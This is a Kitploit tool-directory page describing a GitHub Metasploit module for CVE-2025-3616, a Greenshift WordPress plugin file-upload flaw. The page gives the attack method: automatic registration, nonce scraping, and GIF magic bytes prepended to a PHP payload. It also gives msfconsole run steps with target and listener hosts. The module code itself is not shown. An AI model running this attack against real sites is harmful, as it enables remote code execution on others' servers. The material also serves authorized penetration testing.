Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-3616 — Metasploit module exploiting arbitrary file upload in Greenshift WordPress plugin (CVE-2025-3616) to achieve RCE via MIME spoofing, with auto-registration and nonce extraction. | Kitploit
Tools/GitHubGitHub/b4d-53ct0r/cve-2025-3616
Exploit FrameworksVulnerability AnalysisWeb Application ExploitationPenetration TestingAuthenticationPayload Development
GitHubb4d-53ct0r/cve-2025-3616

CVE-2025-3616

Metasploit module exploiting arbitrary file upload in Greenshift WordPress plugin (CVE-2025-3616) to achieve RCE via MIME spoofing, with auto-registration and nonce extraction.

View Repository
2410 months agoNot yet reviewed
Share

Metasploit Module: Greenshift WordPress Plugin Arbitrary File Upload (CVE-2025-3616)

This repository contains a Metasploit module to exploit CVE-2025-3616, an arbitrary file upload vulnerability in the Greenshift WordPress plugin (versions 11.4 through 11.4.5).

The exploit allows authenticated users (Subscriber+) to upload arbitrary files leading to Remote Code Execution (RCE). It bypasses the plugin's file type validation by spoofing the MIME type using GIF magic bytes (GIF89a;).

Features

  • Authentication Handling: Supports logging in with existing credentials (USERNAME/PASSWORD).
  • Auto-Registration: Includes a REGISTER option to automatically register a new user and exploit the vulnerability using the fresh session cookies (useful if registration is enabled on the target).
  • Nonce Extraction: Automatically scrapes the required wp_rest nonce from the administrative dashboard.
  • Security Bypass: Prepends GIF magic bytes to the PHP payload to bypass finfo_file() verification.

Installation

  1. Ensure you have Metasploit Framework installed.

  2. Copy wp_greenshift_file_upload.rb to your local modules directory:

    mkdir -p ~/.msf4/modules/exploits/unix/webapp/
    cp wp_greenshift_file_upload.rb ~/.msf4/modules/exploits/unix/webapp/
    
  3. Start msfconsole and reload modules:

    msfconsole
    msf6 > reload_all
    

Usage

1. Using Auto-Registration (Recommended)

If user registration is enabled on the target, you don't need credentials.

use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER true
run

2. Using Existing Credentials

If you already have a valid user (Subscriber or higher):

use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER false
set USERNAME <USER>
set PASSWORD <PASS>
run

Options

OptionRequiredDescription
RHOSTSyesThe target address
LHOSTyesThe listen address (your IP)
REGISTERnoSet to true to register a new account automatically (Default: false)
USERNAMEnoWordPress username (required if REGISTER is false)
PASSWORDnoWordPress password (required if REGISTER is false)
EMAILnoEmail for registration (optional, auto-generated if empty)

Disclaimer

This module is for educational purposes and authorized penetration testing only. Usage of this code for attacking targets without prior mutual consent is illegal.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    501
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    467
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    340
  • 4

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    314
  • 5

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    307
  • 6

    estorides

    grisuno/estorides

    Aggregates 99+ free OSINT sources in parallel, resolves entities into a knowledge graph, and exports STIX 2.1, MISP, or GraphML with LLM-assisted analysis.

    295

Explore all tools

Browse our collection of tools

View all tools →